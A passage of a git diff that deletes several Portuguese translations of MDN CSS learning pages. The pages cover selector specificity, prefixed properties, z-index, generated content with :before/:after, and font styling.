-.stockSymbol { font: 14px Arial; color: red; }
-
-&lt;div id="stockTicker"&gt;
- NYS: &lt;span class="stockSymbol"&gt;GE&lt;/span&gt; +1.0 ...
-&lt;/div&gt;
-</pre>
-
-<p>In the previous example the problem occurred on rules belonging to different elements, but it could happen also for the same element, because rule order <strong>is</strong> important.</p>
-
-<pre>#stockTicker {
- font-weight: bold;
- font: 12px Verdana; /* font-weight is now set to normal */
-}
-</pre>
-
-<h3 id="Use_of_the_.2A_selector" name="Use_of_the_.2A_selector">Use of the <code>*</code> selector</h3>
-
-<p>The <code>*</code> wildcard selector refers to any element, and it has to be used with particular care.</p>
-
-<pre>body * { font-weight: normal; }
-#stockTicker { font: 12px Verdana; }
-.corpName { font-weight: bold; }
-.stockUp { color: red; }
-
-&lt;div id="section"&gt;
- NYS: &lt;span class="corpName"&gt;&lt;span class="stockUp"&gt;GE&lt;/span&gt;&lt;/span&gt; +1.0 ...
-&lt;/div&gt;
-</pre>
-
-<p>In this example the <code>body *</code> selector applies the rule to all elements inside body, at any hierarchy level, including the <code>.stockUp</code> class. So <code>font-weight: bold;</code> applied to the <code>.corpName</code> class is overridden by <code>font-weight: normal;</code> applied to all elements in the body.</p>
-
-<p>The use of the * selector should be minimized as it is a slow selector, especially when not used as the first element of a selector. Its use should be avoided as much as possible.</p>
-
-<h3 id="Specificity_in_CSS" name="Specificity_in_CSS">Specificity in CSS</h3>
-
-<p>When multiple rules apply to a certain element, the rule chosen depends on its style <a href="/en-US/docs/Learn/CSS/Introduction_to_CSS/Cascade_and_inheritance#Specificity" title="Specificity">specificity</a>. Inline style (in HTML <code>style</code> attributes) has the highest specificity and will override any selectors, followed by ID selectors, then class selectors, and eventually element selectors. The text color of the below {{htmlelement("div")}} will therefore be red.</p>
-
-<pre>div { color: black; }
-#orange { color: orange; }
-.green { color: green; }
-
-&lt;div id="orange" class="green" style="color: red;"&gt;This is red&lt;/div&gt;
-</pre>
-
-<p>The rules are more complicated when the selector has multiple parts. More detailed information about how selector specificity is calculated can be found in the <a href="http://www.w3.org/TR/CSS21/cascade.html#specificity">CSS 2.1 Specification chapter 6.4.3</a>.</p>
-
-<h2 id="What_do_the_-moz-.2A_properties_do.3F" name="What_do_the_-moz-.2A_properties_do.3F">What do the -moz-*, -ms-*, -webkit-*, -o-* and -khtml-* properties do?</h2>
-
-<p>These properties, called <em>prefixed properties</em>, are extensions to the CSS standard. They allow use of experimental and non-standard features in browsers without polluting the regular namespace, preventing future incompatibilities to arise when the standard is extended.</p>
-
-<p>The use of such properties on production websites is not recommended — they have already created a huge web compatibility mess. For example, many developers only using the <code>-webkit-</code> prefixed version of a property when the non-prefixed version is supported across all browsers meant that a feature relying on that property would break in non-webkit-based browsers, completely needlessly. This problem got so bad that other browsers started to implement <code>-webkit-</code> prefixed aliases to improve web compatibility, as specified in the <a href="https://compat.spec.whatwg.org/">Compatibility Living Standard</a>.</p>
-
-<p>In fact most browsers now do not use CSS prefixes when implementing experimental features, insteading implementing those features only on Nightly browser versions or similar.</p>
-
-<p>If you need to use prefixes in your work, you are advised to write your code in a way that uses the prefixed versions first, but then includes a non-prefixed standard version afterwards so it can automatically override the prefixed versions where supported. For example:</p>
-
-<pre class="brush: css line-numbers language-css"><code class="language-css"><span class="property token">-ms-transform</span><span class="punctuation token">:</span> <span class="function token">rotate</span><span class="punctuation token">(</span><span class="number token">90</span>deg<span class="punctuation token">)</span><span class="punctuation token">;</span>
-<span class="property token">-webkit-transform</span><span class="punctuation token">:</span> <span class="function token">rotate</span><span class="punctuation token">(</span><span class="number token">90</span>deg<span class="punctuation token">)</span><span class="punctuation token">;</span>
-<span class="property token">transform</span><span class="punctuation token">:</span> <span class="function token">rotate</span><span class="punctuation token">(</span><span class="number token">90</span>deg<span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
-
-<div class="note">
-<p><strong>Note</strong>: For more information on dealing with prefixed properties, see <a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS#Handling_CSS_prefixes">Handling common HTML and CSS problems — Handling CSS prefixes</a> from our <a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing">Cross-browser testing</a> module.</p>
-</div>
-
-<div class="note">
-<p><strong>Note</strong>: See the <a href="/en-US/docs/CSS/CSS_Reference/Mozilla_Extensions" title="CSS Reference/Mozilla Extensions">Mozilla CSS Extensions</a> page for more information on the Mozilla-prefixed CSS properties.</p>
-</div>
-
-<h2 id="How_does_z-index_relate_to_positioning">How does z-index relate to positioning?</h2>
-
-<p>The z-index property specifies the stack order of elements.</p>
-
-<p>An element with a higher z-index/stack order is always rendered in front of an element with a lower z-index/stack order on the screen. Z-index will only work on elements that have a specified position (<code>position:absolute</code>, <code>position:relative</code>, or <code>position:fixed</code>).</p>
-
-<div class="note">
-<p><strong>Nota</strong>: For more information, see our <a href="/en-US/docs/Learn/CSS/CSS_layout/Positioning">Positioning</a> learning article, and in particular the <a href="/en-US/docs/Learn/CSS/CSS_layout/Positioning#Introducing_z-index">Introducing z-index</a> section.</p>
-</div>
diff --git a/files/pt-pt/learn/css/howto/generated_content/index.html b/files/pt-pt/learn/css/howto/generated_content/index.html
deleted file mode 100644
index c9b979f870..0000000000
--- a/files/pt-pt/learn/css/howto/generated_content/index.html
+++ /dev/null
@@ -1,189 +0,0 @@
----
-title: Conteúdo
-slug: Learn/CSS/Howto/Generated_content
-tags:
- - CSS:Como_começar
-translation_of: Learn/CSS/Howto/Generated_content
-original_slug: Web/CSS/Como_começar/Conteúdo
----
-<p>{{ PreviousNext("CSS:Como começar:Cor", "CSS:Como começar:Listas") }}</p>
-
-<p>Esta página descreve algumas maneiras que você pode usar no CSS para adicionar conteúdo quando um documento é exibido.</p>
-
-<p>Você modifica sua folha de estilo para adicionar conteúdo de texto e uma imagem.</p>
-
-<h2 id="Informa.C3.A7.C3.A3o:_Conte.C3.BAdo" name="Informa.C3.A7.C3.A3o:_Conte.C3.BAdo">Informação: Conteúdo</h2>
-
-<p>Uma das vantagens importantes das CSS é que ele o ajuda a separar o estilo do documento do seu conteúdo. Mas há situações onde faz sentido especificar certo conteúdo como parte de sua folha de estilo, não como parte do seu documento.</p>
-
-<p>O conteúdo especificado em uma folha de estilo pode consistir em texto ou imagens. Você especifica o conteúdo em sua folha de estilo quando o conteúdo tem uma ligação próxima à estrutura do documento.</p>
-
-<table style="border: 1px solid #36b; padding: 1em; background-color: #f4f4f4; margin-bottom: 1em;">
- <caption>Mais detalhes</caption>
- <tbody>
- <tr>
- <td>Especificar o conteúdo em uma folha de estilo pode causar complicações. Por exemplo, você pode ter versões diferentes da língua do seu documento que compartilham uma folha de estilo. Se parte da folha de estilo tem que ser traduzida, isto mostra que você precisa por estas partes da folha de estilo em arquivos separados e arrumá-los para então ligá-los com a versão apropriada da língua do seu documento.
- <p>Estas complicações não surgem se o conteúdo que você especificou consistir em símbolos ou imagens que se aplicam em todas as línguas e culturas.</p>
-
- <p><br>
- O conteúdo especificado em uma folha de estilo não se tornará parte do DOM.</p>
- </td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Conte.C3.BAdo_do_texto" name="Conte.C3.BAdo_do_texto">Conteúdo do texto</h3>
-
-<p>CSS pode inserir um texto antes ou depois de um elemento. Para especificar isto, faça uma regra e adicione <code>:before</code> ou <code>:after</code> ao seletor. Na declaração, especifique a propriedade <code>content</code> com o conteúdo do texto como seu valor.</p>
-
-<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: 1em;">
- <caption>Exemplo</caption>
- <tbody>
- <tr>
- <td>Esta regra adiciona o texto <span style="font-weight: bold; color: navy;">Referência:</span> antes de todo elemento com a classe <code>ref</code>:
- <div style="width: 30em;">
- <pre class="eval">
-.ref:before {
- font-weight: bold;
- color: navy;
- content: "Referência: ";
- }
-</pre>
- </div>
- </td>
- </tr>
- </tbody>
-</table>
-
-<table style="border: 1px solid #36b; padding: 1em; background-color: #f4f4f4; margin-bottom: 1em;">
- <caption>Mais detalhes</caption>
- <tbody>
- <tr>
- <td>O caractere de configuração de uma folha de estilo é por padrão o UTF-8, mas isto pode ser especificado na ligação, na própria folha de estilo ou por outras maneiras. Para detalhes, veja <a class="external" href="http://www.w3.org/TR/CSS21/syndata.html#q23">4.4 CSS style sheet representation</a> na CSS Specification.
- <p>Caracteres individuais podem às vezes ser especificados por um mecanismo de escape que use o contra barra (\) com o caráter de escape. Por exemplo, \265B é um símbolo do xadrez para a rainha preta ♛. Para detalhes, veja <a class="external" href="http://www.w3.org/TR/CSS21/syndata.html#q24">Referring to characters not represented in a character encoding</a> e também <a class="external" href="http://www.w3.org/TR/CSS21/syndata.html#q6">Characters and case</a> em CSS Specification.</p>
- </td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Conte.C3.BAdo_da_imagem" name="Conte.C3.BAdo_da_imagem">Conteúdo da imagem</h3>
-
-<p>Para adicionar uma imagem antes ou depois de um elemento, você pode especificar a URL de um arquivo de imagem no valor da propriedade <code>content</code>.</p>
-
-<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: 1em;">
- <caption>Exemplo</caption>
- <tbody>
- <tr>
- <td>Esta regra adiciona um espaço e um ícone depois de cada ligação da classe <code>glossary</code>:
- <div style="width: 45em;">
- <pre class="eval">
-a.glossary:after {content: " " url("../images/glossary-icon.gif");}
-</pre>
- </div>
- </td>
- </tr>
- </tbody>
-</table>
-
-<p><br>
- Para adicionar uma imagem ao fundo de um elemento, especifique a URL de um arquivo de imagem no valor da propriedade <code>background</code>. Isto é uma propriedade que especifica a cor do fundo, a imagem, como a imagem repete, e alguns outros detalhes.</p>
-
-<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: 1em;">
- <caption>Exemplo</caption>
- <tbody>
- <tr>
- <td>Esta regra configura o fundo de um elemento específico, usando uma URL para especificar um arquivo de imagem.
- <p>O seletor especifica o id do elemento. O valor <code>no-repeat</code> faz a imagem aparecer apenas uma vez:</p>
-
- <div style="width: 50em;">
- <pre class="eval">
-#sidebar-box {background: url("../images/sidebar-ground.png") no-repeat;}
-</pre>
- </div>
- </td>
- </tr>
- </tbody>
-</table>
-
-<table style="border: 1px solid #36b; padding: 1em; background-color: #f4f4f4; margin-bottom: 1em;">
- <caption>Mais detalhes</caption>
- <tbody>
- <tr>
- <td>Para informações sobre propriedades individuais que afetam o fundo, e sobre outras opções que você pode especificar para as imagens de fundo, veja <a class="external" href="http://www.w3.org/TR/CSS21/colors.html#q2">The background</a> na CSS Specification.</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="A.C3.A7.C3.A3o:_Adicionando_uma_imagem_de_fundo" name="A.C3.A7.C3.A3o:_Adicionando_uma_imagem_de_fundo">Ação: Adicionando uma imagem de fundo</h2>
-
-<p>Esta imagem é um quadrado branco com uma linha azul em baixo. Baixe o arquivo desta imagem no mesmo diretório do seu arquivo CSS:</p>
-
-<table style="border: 2px solid #ccc;">
- <tbody>
- <tr>
- <td><img alt="Image:Blue-rule.png" class="internal" src="/@api/deki/files/2528/=Blue-rule.png"></td>
- </tr>
- </tbody>
-</table>
-
-<p>(Por exemplo, clique com o botão direito sobre isto para abrir o menu de contexto, então escolha Salvar Imagem Como... e especifique o diretório que você está usando para este tutorial.)</p>
-
-<p>Edite o seu arquivo CSS e adicione esta regra ao corpo, configurando a imagem de fundo para a página inteira.</p>
-
-<div style="width: 40em;">
-<pre class="eval">background: url("Blue-rule.png");
-</pre>
-</div>
-
-<p>O valor <code>repeat</code> é o padrão, então isto não precisa ser especificado. A imagem é repetida horizontal e verticalmente, dando a aparência parecida com a de um papel de escrita com linhas:</p>
-
-<div style="position: relative; width: 24em; height: 11em; border: 2px outset #36b; overflow: hidden;">
-<p style="margin: 0px;"><img alt="Image:Blue-rule-ground.png" class="internal" src="/@api/deki/files/2527/=Blue-rule-ground.png"></p>
-
-<div style="position: absolute; top: 0px; left: 0px; border: none; margin: 0px; padding: .5em 0px 0px 1em; font: 16px 'Comic Sams MS', cursive; color: blue; background-color: transparent;">
-<div style="font-style: italic; width: 24em;">
-<p><strong style="color: red; background-color: #ddf; font: 200% serif;">C</strong>ascading <strong style="color: green; background-color: #ddf; font: 200% serif;">S</strong>tyle <strong style="color: green; background-color: #ddf; font: 200% serif;">S</strong>heets</p>
-</div>
-
-<div style="font-style: normal; padding-top: 2px; height: 8em;">
-<p><strong style="color: red; background-color: #ddf; font: 200% serif;">C</strong>ascading <strong style="color: red; background-color: #ddf; font: 200% serif;">S</strong>tyle <strong style="color: red; background-color: #ddf; font: 200% serif;">S</strong>heets</p>
-</div>
-</div>
-</div>
-
-<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: 1em;">
- <caption>Desafio</caption>
- <tbody>
- <tr>
- <td>Baixe esta imagem:
- <table style="border: 2px solid #ccc;">
- <tbody>
- <tr>
- <td><img alt="Image:Yellow-pin.png" class="internal" src="/@api/deki/files/2557/=Yellow-pin.png"></td>
- </tr>
- </tbody>
- </table>
-
- <p>Adicione uma regra à sua folha de estilo então isto mostrará a imagem no começo de cada linha:</p>
-
- <div style="position: relative; width: 24em; height: 11em; border: 2px outset #36b; overflow: hidden;">
- <p style="margin: 0px;"><img alt="Image:Blue-rule-ground.png" class="internal" src="/@api/deki/files/2527/=Blue-rule-ground.png"></p>
-
- <div style="position: absolute; top: 0px; left: 0px; border: none; margin: 0px; padding: .5em 0px 0px 1em; font: 16px 'Comic Sams MS', cursive; color: blue; background-color: transparent;">
- <div style="font-style: italic; width: 24em; padding-top: 8px;"><img alt="image:Yellow-pin.png" class="internal" src="/@api/deki/files/2557/=Yellow-pin.png"> <strong style="color: red; background-color: #ddf; font: 200% serif;">C</strong>ascading <strong style="color: green; background-color: #ddf; font: 200% serif;">S</strong>tyle <strong style="color: green; background-color: #ddf; font: 200% serif;">S</strong>heets</div>
-
- <div style="font-style: normal; padding-top: 12px; height: 8em;"><img alt="image:Yellow-pin.png" class="internal" src="/@api/deki/files/2557/=Yellow-pin.png"> <strong style="color: red; background-color: #ddf; font: 200% serif;">C</strong>ascading <strong style="color: red; background-color: #ddf; font: 200% serif;">S</strong>tyle <strong style="color: red; background-color: #ddf; font: 200% serif;">S</strong>heets</div>
- </div>
- </div>
- </td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="O_que_vem_depois.3F" name="O_que_vem_depois.3F">O que vem depois?</h3>
-
-<p>Uma maneira comum de adicionar conteúdo à folha de estilo é marcar os itens em listas. Se você teve dificuldade para entender esta página, ou se você tem algum comentário sobre ela, por favor contribua nesta página de <a href="/Talk:pt/CSS/Como_come%C3%A7ar/Conte%C3%BAdo" title="Talk:pt/CSS/Como_começar/Conteúdo">Discussão</a>.</p>
-
-<p>A próxima página descreve como especificar o estilo para elementos de listas: <strong><a href="/pt/CSS/Como_come%C3%A7ar/Listas" title="pt/CSS/Como_começar/Listas">Listas</a></strong></p>
-
-<p>{{ PreviousNext("CSS:Como começar:Cor", "CSS:Como começar:Listas") }}</p>
diff --git a/files/pt-pt/learn/css/howto/index.html b/files/pt-pt/learn/css/howto/index.html
deleted file mode 100644
index ac198b7ae9..0000000000
--- a/files/pt-pt/learn/css/howto/index.html
+++ /dev/null
@@ -1,93 +0,0 @@
----
-title: Utilizar CSS para resolver problemas comuns
-slug: Learn/CSS/Howto
-tags:
- - Aprendizagem
- - CSS
- - Learn
- - NeedsTranslation
- - Precisa de Tradução
- - Principiante
-translation_of: Learn/CSS/Howto
----
-<div>{{LearnSidebar}}</div>
-
-<p class="summary">As seguintes hiperligações apontam para soluções até aos problemas comuns diários que irá precisar de resolver com CSS.</p>
-
-<h2 id="Casos_de_utilização_comuns">Casos de utilização comuns</h2>
-
-<div class="column-container">
-<div class="column-half">
-<h3 id="Básico">Básico</h3>
-
-<ul>
- <li><a href="/en-US/Learn/CSS/Introduction_to_CSS/How_CSS_works#How_to_apply_your_CSS_to_your_HTML">How to apply CSS to HTML</a></li>
- <li><a href="/en-US/Learn/CSS/Introduction_to_CSS/Syntax#White_space">How to use whitespace in CSS</a></li>
- <li><a href="/en-US/Learn/CSS/Introduction_to_CSS/Syntax#Comments">How to write comments in CSS</a></li>
- <li><a href="/en-US/Learn/CSS/Introduction_to_CSS/Selectors#Simple_selectors">How to select elements via element name, class or ID</a></li>
- <li><a href="/en-US/Learn/CSS/Introduction_to_CSS/Selectors#Attribute_selectors">How to select elements via attribute name and content</a></li>
- <li><a href="/en-US/Learn/CSS/Introduction_to_CSS/Selectors#Pseudo-classes">How to use pseudo-classes</a></li>
- <li><a href="/en-US/Learn/CSS/Introduction_to_CSS/Selectors#Pseudo-elements">How to use pseudo-elements</a></li>
- <li><a href="/en-US/Learn/CSS/Introduction_to_CSS/Selectors#Multiple_selectors_on_one_rule">How to apply multiple selectors to the same rule</a></li>
- <li><a href="/en-US/Learn/CSS/Introduction_to_CSS/Values_and_units#Colors">How to specify colors in CSS</a></li>
- <li><a href="/en-US/Learn/CSS/Introduction_to_CSS/Debugging_CSS#Inspecting_the_DOM_and_CSS">How to debug CSS in the browser</a></li>
-</ul>
-
-<h3 id="CSS_e_texto">CSS e texto</h3>
-
-<ul>
- <li><a href="/en-US/docs/Learn/CSS/Styling_text/Fundamentals">How to style text</a></li>
- <li><a href="/en-US/docs/Learn/CSS/Styling_text/Styling_lists">How to customize a list of elements</a></li>
- <li><a href="/en-US/Learn/CSS/Styling_text/Styling_links">How to style links</a></li>
- <li><a href="/en-US/Learn/CSS/Styling_text/Fundamentals#Text_drop_shadows">How to add shadows to text</a></li>
-</ul>
-</div>
-
-<div class="column-half">
-<h3 id="Caixas_e_layouts">Caixas e <em>layouts</em></h3>
-
-<ul>
- <li><a href="/en-US/Learn/CSS/Introduction_to_CSS/Box_model#Box_properties">How to size CSS boxes</a></li>
- <li><a href="/en-US/Learn/CSS/Introduction_to_CSS/Box_model#Overflow">How to control overflowing content</a></li>
- <li><a href="/en-US/Learn/CSS/Introduction_to_CSS/Box_model#Background_clip">How to control the part of a CSS box that the background is drawn under</a></li>
- <li><a href="/en-US/Learn/CSS/Introduction_to_CSS/Box_model#Types_of_CSS_boxes">How do I define inline, block, and inline-block?</a></li>
- <li><a href="/en-US/docs/Learn/CSS/Howto/create_fancy_boxes">How to create fancy boxes</a> (also see the <a href="/en-US/docs/Learn/CSS/Styling_boxes">Styling boxes</a> module, generally).</li>
- <li><a href="/en-US/Learn/CSS/Introduction_to_CSS/Box_model#Background_clip">How to use <code>background-clip</code> to control how much of the box your background image covers</a>.</li>
- <li><a href="/en-US/Learn/CSS/Styling_boxes/Box_model_recap#Changing_the_box_model_completely">How to change the box model completely using <code>box-sizing</code></a></li>
- <li><a href="/en-US/Learn/CSS/Styling_boxes/Backgrounds">How to control backgrounds</a></li>
- <li><a href="/en-US/Learn/CSS/Styling_boxes/Borders">How to control borders</a></li>
- <li><a href="/en-US/Learn/CSS/Styling_boxes/Styling_tables">How to style an HTML table</a></li>
- <li><a href="/en-US/Learn/CSS/Styling_boxes/Advanced_box_effects#Box_shadows">How to add shadows to boxes</a></li>
-</ul>
-</div>
-</div>
-
-<h2 id="Técninas_avançadas_e_invulgares">Técninas avançadas e invulgares</h2>
-
-<p>Beyond the basics, CSS is allows very advanced design techniques. These articles help you tackle the hardest use cases you may face.</p>
-
-<h3 id="Geral">Geral</h3>
-
-<ul>
- <li><a href="/en-US/Learn/CSS/Introduction_to_CSS/Cascade_and_inheritance#Specificity">How to calculate specificity of a CSS selector</a></li>
- <li><a href="/en-US/Learn/CSS/Introduction_to_CSS/Cascade_and_inheritance#Controlling_inheritance">How to control inheritance in CSS</a></li>
-</ul>
-
-<h3 id="Efeitos_avançados">Efeitos avançados</h3>
-
-<ul>
- <li><a href="/en-US/Learn/CSS/Styling_boxes/Advanced_box_effects#Filters">How to use filters in CSS</a></li>
- <li><a href="/en-US/Learn/CSS/Styling_boxes/Advanced_box_effects#Blend_modes">How to use blend modes in CSS</a></li>
-</ul>
-
-<h3 id="Layout"><em>Layout</em></h3>
-
-<ul>
- <li><a href="/en-US/docs/Web/Guide/CSS/Flexible_boxes">Using CSS flexible boxes</a></li>
- <li><a href="/en-US/docs/Web/Guide/CSS/Using_multi-column_layouts" title="/en-US/docs/Web/Guide/CSS/Using_multi-column_layouts">Using CSS multi-column layouts</a></li>
- <li><a href="/en-US/docs/Web/Guide/CSS/Getting_started/Content">Using CSS generated content</a></li>
-</ul>
-
-<h2 id="Consultar_também">Consultar também</h2>
-
-<p><a href="/pt-PT/docs/Learn/CSS/Howto/FAQ_de_CSS">CSS - Perguntas Frequentes (FAQ)</a> — Uma coleção de pequenas partes de informação, abrangendo uma variedade de tópicos, desde a depuração até à utilização do seletor.</p>
diff --git a/files/pt-pt/learn/css/index.html b/files/pt-pt/learn/css/index.html
deleted file mode 100644
index eee5fb752a..0000000000
--- a/files/pt-pt/learn/css/index.html
+++ /dev/null
@@ -1,59 +0,0 @@
----
-title: 'Aprender a estilizar HTML, utilizando CSS'
-slug: Learn/CSS
-tags:
- - CSS
- - Depuração
- - Estilo
- - Principiante
- - Tópico
- - especificidade
-translation_of: Learn/CSS
----
-<div>{{LearnSidebar}}</div>
-
-<p class="summary">Folhas de Estilo em Cascata — ou {{glossary("CSS")}} — é a segunda tecnologia que deveria começar a aprender depois de {{glossary("HTML")}}. Considerando que HTML é utilizado para definir a estrutura e semântica do seu conteúdo, CSS é utilizada para estilizar e aplicar. Assim, por exemplo, pode utilizar CSS para alterar o tipo de letra, cor, tamanho e espaçamento de seu conteúdo, dividi-lo em várias colunas, ou adicionar animações e outros elementos decorativos.</p>
-
-<h2 id="Passos_de_aprendizagem">Passos de aprendizagem</h2>
-
-<p>Você deve aprender o básico de HTML antes de tentar qualquer CSS. Recomendamos que você trabalhe primeiro através do nosso módulo de <a href="/pt-PT/docs/Learn/HTML/Introducao_ao_HTML">Introdução ao HTML</a>. Nesse módulo, você aprenderá sobre:</p>
-
-<ul>
- <li>CSS, começando com o módulo Introduction to CSS</li>
- <li>Módulos de HTML mais avancados <a href="/pt-PT/docs/Learn/HTML#Módulos">HTML modules</a></li>
- <li><a href="/pt-PT/docs/Learn/JavaScript">Javascript</a>, e como utilizá-lo para adicionar funcionalidades dinâmicas às páginas web</li>
-</ul>
-
-<p>Uma vez entendidos os fundamentos do HTML, recomendamos que aprenda HTML e CSS ao mesmo tempo, andando para trás e para a frente entre os dois tópicos. Isto porque HTML é muito mais interessante com CSS, e você não pode realmente aprender CSS sem conhecer HTML.</p>
-
-<p>Antes de iniciar este tópico, deve também estar familiarizado com a utilização de computadores e o uso da web passivamente (ou seja, apenas olhando para ele, consumindo o conteúdo). Você deve ter um ambiente de trabalho básico configurado conforme detalhado em <a href="/pt-PT/docs/Learn/Comecar_com_a_Web/Installing_basic_software">Instalar software básico</a>, e entender como criar e gerir arquivos, conforme detalhado em <a href="/pt-PT/docs/Learn/Comecar_com_a_Web/Lidar_com_ficheiros">Lidar com ficheiros</a> - ambos são partes do nosso módulo <a href="/pt-PT/docs/Learn/Comecar_com_a_Web">Primeiros passos na Web</a>.</p>
-
-<p>Recomenda-se que trabalhe através de <a href="/pt-PT/docs/Learn/Comecar_com_a_Web">Primeiros passos na Web</a> antes de prosseguir com este tópico. No entanto, fazê-lo não é absolutamente necessário, pois muito do que é abordado no artigo <a href="/pt-PT/docs/Learn/Comecar_com_a_Web/CSS_basico">CSS - Essencial</a> também é abordado no nosso módulo CSS first steps, embora com muito mais detalhe.</p>
-
-<h2 id="Módulos">Módulos</h2>
-
-<p>Este tópico contém os seguintes módulos, numa ordem sugerida para trabalhar com eles. Deveria definitivamente começar com o primeiro .</p>
-
-<dl>
- <dt><a href="/pt-PT/docs/Learn/CSS/Introduction_to_CSS">Introdução à CSS</a></dt>
- <dd>This module gets you started with the basics of how CSS works, including selectors and properties, writing CSS rules, applying CSS to HTML, how to specify length, color, and other units in CSS, cascade and inheritance, box model basics, and debugging CSS.</dd>
- <dt><a href="/pt-PT/docs/Learn/CSS/Estilo_de_texto">Estilio de texto</a></dt>
- <dd>Here we look at text styling fundamentals, including setting font, boldness, and italics, line and letter spacing, and drop shadows and other text features. We round off the module by looking at applying custom fonts to your page, and styling lists and links.</dd>
- <dt><a href="/pt-PT/docs/Learn/CSS/Estilo_de_caixas">Estilio de caixas</a></dt>
- <dd>Next up, we look at styling boxes, one of the fundamental steps towards laying out a web page. In this module we recap the box model then look at controlling box layouts by setting padding, borders and margins, setting custom background colors, images and other features, and fancy features such drop shadows and filters on boxes.</dd>
- <dt><a href="/pt-PT/docs/Learn/CSS/Disposição_CSS">Disposição de CSS</a></dt>
- <dd>At this point we've already looked at CSS fundamentals, how to style text, and how to style and manipulate the boxes that your content sits inside. Now it's time to look at how to place your boxes in the right place in relation to the viewport, and one another. We have covered the necessary prerequisites so can now dive deep into CSS layout, looking at different display settings, traditional layout methods involving float and positioning, and new fangled layout tools like flexbox.</dd>
- <dt>Desenho responsivo (TBD)</dt>
- <dd>Com tantos tipos diferentes de dispositivos capazes de navegar na Web nestes dias, o <a href="/pt-PT/docs/Web/Apps/Progressiva/Responsivo">desenho da <em>Web</em> responsivo </a>(RWD) tornou-se uma habilidade básica de desenvolvimento da <em>Web</em>. Este módulo irá abranger os princípios básicos e as ferramentas de RWD, explicar como aplicar CSS diferentes em um documento, dependendo das funcionalidades do dispositivo, como largura, orientação e resolução do ecrã, e explorar as tecnologias disponíveis para servir diferentes vídeos e imagens dependendo de tais funcionalidades.</dd>
-</dl>
-
-<h2 id="Resolver_problemas_de_CSS_comuns">Resolver problemas de CSS comuns</h2>
-
-<p><a href="/pt-PT/docs/Learn/CSS/Howto">Utilizar CSS para resolver problemas comuns,</a> fornece hioperligações para secções de conteúdo explicando como utilizar o CSS para resolver problemas muito comuns quando criar uma página da Web .</p>
-
-<h2 id="Consulte_também">Consulte também</h2>
-
-<dl>
- <dt><a href="/pt-PT/docs/Web/CSS">CSS na MDN</a></dt>
- <dd>O ponto de entrada principal para a documentação de CSS na MDN, onde irá encontrar uma documentação de referência detalhada para todas as funcionalidades as linguagem CSS. Quer saber todos os valores que uma propriedade pode ter? Este é um bom lugar para ir.</dd>
-</dl>
diff --git a/files/pt-pt/learn/css/styling_text/fundamentals/index.html b/files/pt-pt/learn/css/styling_text/fundamentals/index.html
deleted file mode 100644
index d4e2e23478..0000000000
--- a/files/pt-pt/learn/css/styling_text/fundamentals/index.html
+++ /dev/null
@@ -1,159 +0,0 @@
----
-title: Estilos de texto
-slug: Learn/CSS/Styling_text/Fundamentals
-tags:
- - CSS:Como_começar
-translation_of: Learn/CSS/Styling_text/Fundamentals
-translation_of_original: Web/Guide/CSS/Getting_started/Text_styles
-original_slug: Web/CSS/Como_começar/Estilos_de_texto
----
-<p>{{ PreviousNext("CSS:Como começar:CSS legível", "CSS:Como começar:Cor") }}</p>
-
-<p>Esta página dá mais exemplos de estilos de texto.</p>
-
-<p>Você modifica sua folha de estilo de amostra para usar diferentes fontes.</p>
-
-<h2 id="Informa.C3.A7.C3.A3o:_Estilos_de_texto" name="Informa.C3.A7.C3.A3o:_Estilos_de_texto">Informação: Estilos de texto</h2>
-
-<p>CSS tem várias propriedades para estilos de texto.</p>
-
-<p>Há uma conveniente propriedade de abreviação de caracteres/palavras que facilitam a escrita, <code>font</code>, que você pode usar para especificar várias coisas de uma vez — por exemplo:</p>
-
-<ul>
- <li>Negrito, itálico e letras minúsculas</li>
- <li>O tamanho</li>
- <li>A altura da linha</li>
- <li>O tipo da fonte</li>
-</ul>
-
-<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: 1em;">
- <caption>Exemplo</caption>
- <tbody>
- <tr>
- <td>
- <div style="width: 40em;">
- <pre class="eval">
-p {font: italic 75%/125% "Comic Sans MS", cursive;}
-</pre>
- </div>
-
- <p>Esta regra coloca várias propriedades da fonte, fazendo todos os parágrafos em itálico.</p>
-
- <p>O tamanho da fonte é três quartos (75%) do tamanho em cada elemento do paragrafo principal e a altura da linha é 125% (um pouco mais espaçada que o normal).</p>
-
- <p>O tipo da fonte é Comic Sans MS, mas se a fonte não estiver disponível então o navegador usará sua fonte cursiva padrão (escrita a mão).</p>
-
- <p>A regra tem o efeito colateral de desativar o negrito e as letras minúsculas (colocando-os no estilo <code>normal</code>)</p>
- </td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Tipos_de_fonte" name="Tipos_de_fonte">Tipos de fonte</h3>
-
-<p>Você não pode predizer quais fontes os leitores do seu documento terão. Então quando você especifica tipos de fonte é uma boa idéia colocar uma lista de alternativas em ordem de preferência.</p>
-
-<p>Acabe a lista com um dos tipos de fontes internas padrão: <code>serif</code>, <code>sans-serif</code>, <code>cursive</code>, <code>fantasy</code> ou <code>monospace</code>. (Algumas destas podem ser configuradas nas Opções do seu navegador.)</p>
-
-<p>Se o tipo não for suportado por algumas características no documento, então o navegador pode substituí-lo por um tipo diferente. Por exemplo, o documento pode conter caracteres especiais que a fonte não suporte. Se o navegador puder encontrar outra fonte que tenha os caracteres, então ele usará a outra fonte.</p>
-
-<p>Para especificar um tipo de fonte por conta própria, use a propriedade <code>font-family</code>.</p>
-
-<h3 id="Tamanho_da_fonte" name="Tamanho_da_fonte">Tamanho da fonte</h3>
-
-<p>Leitores que usam os navegadores Mozilla podem configurar o tamanho padrão das fontes em Opções, e mudar o tamanho do texto quando lêem uma página, isso a torna boa para você usá-la com tamanho relativos onde você puder.</p>
-
-<p>Você pode usar alguns valores internos para o tamanho das fontes, como: <code>small</code>, <code>medium</code> e <code>large</code>. Você pode também usar valores relativos para o tamanho das fontes do elemento primário, como: <code>smaller</code>, <code>larger</code>, <code>150%</code> ou <code>1.5em</code>.</p>
-
